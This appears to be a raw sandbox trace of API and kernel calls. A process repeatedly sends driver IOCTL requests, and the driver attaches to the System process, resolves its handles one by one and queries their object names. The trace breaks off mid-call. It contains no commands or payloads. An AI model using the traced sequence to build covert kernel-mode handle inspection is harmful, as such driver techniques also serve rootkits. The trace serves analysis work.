[0119.575] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.575] ObReferenceObjectByHandle (in: Handle=0xffffffff80000708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800213bd20, HandleInformation=0x0) returned 0x0 [0119.575] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.575] PsReleaseProcessExitSynchronization () returned 0x2 [0119.575] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.575] ObQueryNameString (in: Object=0xfffffa800213bd20, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.575] ObfDereferenceObject (Object=0xfffffa800213bd20) returned 0x2 [0119.575] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.575] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.575] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.575] PsAcquireProcessExitSynchronization () returned 0x0 [0119.575] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.575] ObReferenceObjectByHandle (in: Handle=0xffffffff8000070c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002133350, HandleInformation=0x0) returned 0x0 [0119.575] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.575] PsReleaseProcessExitSynchronization () returned 0x2 [0119.575] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.575] ObQueryNameString (in: Object=0xfffffa8002133350, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.575] ObfDereferenceObject (Object=0xfffffa8002133350) returned 0x2 [0119.575] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.575] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.575] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.576] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.576] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.576] PsAcquireProcessExitSynchronization () returned 0x0 [0119.576] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.576] ObReferenceObjectByHandle (in: Handle=0xffffffff80000710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800214e1f0, HandleInformation=0x0) returned 0x0 [0119.576] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.576] PsReleaseProcessExitSynchronization () returned 0x2 [0119.576] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.576] ObQueryNameString (in: Object=0xfffffa800214e1f0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.576] ObfDereferenceObject (Object=0xfffffa800214e1f0) returned 0x2 [0119.576] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.576] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.576] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.576] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.576] PsAcquireProcessExitSynchronization () returned 0x0 [0119.576] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.576] ObReferenceObjectByHandle (in: Handle=0xffffffff80000714, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002c4a2b0, HandleInformation=0x0) returned 0x0 [0119.576] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.576] PsReleaseProcessExitSynchronization () returned 0x2 [0119.576] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.576] ObQueryNameString (in: Object=0xfffffa8002c4a2b0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.576] ObfDereferenceObject (Object=0xfffffa8002c4a2b0) returned 0x2 [0119.576] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.576] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.576] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.576] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.576] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.576] PsAcquireProcessExitSynchronization () returned 0x0 [0119.576] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.577] ObReferenceObjectByHandle (in: Handle=0xffffffff80000718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002139d20, HandleInformation=0x0) returned 0x0 [0119.577] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.577] PsReleaseProcessExitSynchronization () returned 0x2 [0119.577] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.577] ObQueryNameString (in: Object=0xfffffa8002139d20, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.577] ObfDereferenceObject (Object=0xfffffa8002139d20) returned 0x2 [0119.577] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.577] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.577] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.577] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.577] PsAcquireProcessExitSynchronization () returned 0x0 [0119.577] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.577] ObReferenceObjectByHandle (in: Handle=0xffffffff8000071c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037aea30, HandleInformation=0x0) returned 0x0 [0119.577] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.577] PsReleaseProcessExitSynchronization () returned 0x2 [0119.577] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.577] ObQueryNameString (in: Object=0xfffffa80037aea30, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.577] ObfDereferenceObject (Object=0xfffffa80037aea30) returned 0x2 [0119.577] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.577] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.577] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.577] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.577] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.577] PsAcquireProcessExitSynchronization () returned 0x0 [0119.577] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.577] ObReferenceObjectByHandle (in: Handle=0xffffffff80000724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003428360, HandleInformation=0x0) returned 0x0 [0119.577] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.577] PsReleaseProcessExitSynchronization () returned 0x2 [0119.578] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.578] ObQueryNameString (in: Object=0xfffffa8003428360, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.578] ObfDereferenceObject (Object=0xfffffa8003428360) returned 0x2 [0119.578] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.578] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.578] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.578] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.578] PsAcquireProcessExitSynchronization () returned 0x0 [0119.578] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.578] ObReferenceObjectByHandle (in: Handle=0xffffffff80000728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800312cf20, HandleInformation=0x0) returned 0x0 [0119.578] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.578] PsReleaseProcessExitSynchronization () returned 0x2 [0119.578] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.578] ObQueryNameString (in: Object=0xfffffa800312cf20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.578] ObfDereferenceObject (Object=0xfffffa800312cf20) returned 0x2 [0119.578] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.578] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.578] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.578] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.578] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.578] PsAcquireProcessExitSynchronization () returned 0x0 [0119.578] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.578] ObReferenceObjectByHandle (in: Handle=0xffffffff80000730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800342a2b0, HandleInformation=0x0) returned 0x0 [0119.578] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.578] PsReleaseProcessExitSynchronization () returned 0x2 [0119.578] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.578] ObQueryNameString (in: Object=0xfffffa800342a2b0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.579] ObfDereferenceObject (Object=0xfffffa800342a2b0) returned 0x2 [0119.579] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.579] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.579] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.579] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.579] PsAcquireProcessExitSynchronization () returned 0x0 [0119.579] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.579] ObReferenceObjectByHandle (in: Handle=0xffffffff80000734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80022f8860, HandleInformation=0x0) returned 0x0 [0119.579] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.579] PsReleaseProcessExitSynchronization () returned 0x2 [0119.579] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.579] ObQueryNameString (in: Object=0xfffffa80022f8860, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.579] ObfDereferenceObject (Object=0xfffffa80022f8860) returned 0x2 [0119.579] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.579] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.579] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.579] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.579] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.579] PsAcquireProcessExitSynchronization () returned 0x0 [0119.579] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.579] ObReferenceObjectByHandle (in: Handle=0xffffffff80000740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80025243b0, HandleInformation=0x0) returned 0x0 [0119.579] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.579] PsReleaseProcessExitSynchronization () returned 0x2 [0119.579] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.579] ObQueryNameString (in: Object=0xfffffa80025243b0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.579] ObfDereferenceObject (Object=0xfffffa80025243b0) returned 0x2 [0119.579] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.579] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.580] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.580] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.580] PsAcquireProcessExitSynchronization () returned 0x0 [0119.580] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.580] ObReferenceObjectByHandle (in: Handle=0xffffffff80000748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003421680, HandleInformation=0x0) returned 0x0 [0119.580] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.580] PsReleaseProcessExitSynchronization () returned 0x2 [0119.580] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.580] ObQueryNameString (in: Object=0xfffffa8003421680, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.580] ObfDereferenceObject (Object=0xfffffa8003421680) returned 0x2 [0119.580] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.580] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.580] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.580] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.580] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.580] PsAcquireProcessExitSynchronization () returned 0x0 [0119.580] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.580] ObReferenceObjectByHandle (in: Handle=0xffffffff8000074c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800200a7c0, HandleInformation=0x0) returned 0x0 [0119.580] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.580] PsReleaseProcessExitSynchronization () returned 0x2 [0119.580] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.580] ObQueryNameString (in: Object=0xfffffa800200a7c0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.581] ObfDereferenceObject (Object=0xfffffa800200a7c0) returned 0x2 [0119.581] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.581] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.581] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.581] PsAcquireProcessExitSynchronization () returned 0x0 [0119.581] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.581] ObReferenceObjectByHandle (in: Handle=0xffffffff80000750, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80026316d0, HandleInformation=0x0) returned 0x0 [0119.581] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.581] PsReleaseProcessExitSynchronization () returned 0x2 [0119.581] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.581] ObQueryNameString (in: Object=0xfffffa80026316d0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.581] ObfDereferenceObject (Object=0xfffffa80026316d0) returned 0x2 [0119.581] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.581] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.581] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.581] PsAcquireProcessExitSynchronization () returned 0x0 [0119.581] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.581] ObReferenceObjectByHandle (in: Handle=0xffffffff80000754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800e8c0f20, HandleInformation=0x0) returned 0x0 [0119.581] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.581] PsReleaseProcessExitSynchronization () returned 0x2 [0119.581] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.581] ObQueryNameString (in: Object=0xfffffa800e8c0f20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.581] ObfDereferenceObject (Object=0xfffffa800e8c0f20) returned 0x2 [0119.581] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.581] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.581] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.581] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.581] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.581] PsAcquireProcessExitSynchronization () returned 0x0 [0119.582] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.582] ObReferenceObjectByHandle (in: Handle=0xffffffff8000075c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800225bdc0, HandleInformation=0x0) returned 0x0 [0119.582] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.582] PsReleaseProcessExitSynchronization () returned 0x2 [0119.582] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x189 [0119.582] ObQueryNameString (in: Object=0xfffffa800225bdc0, ObjectNameInfo=0xfffffa8001a0a044, 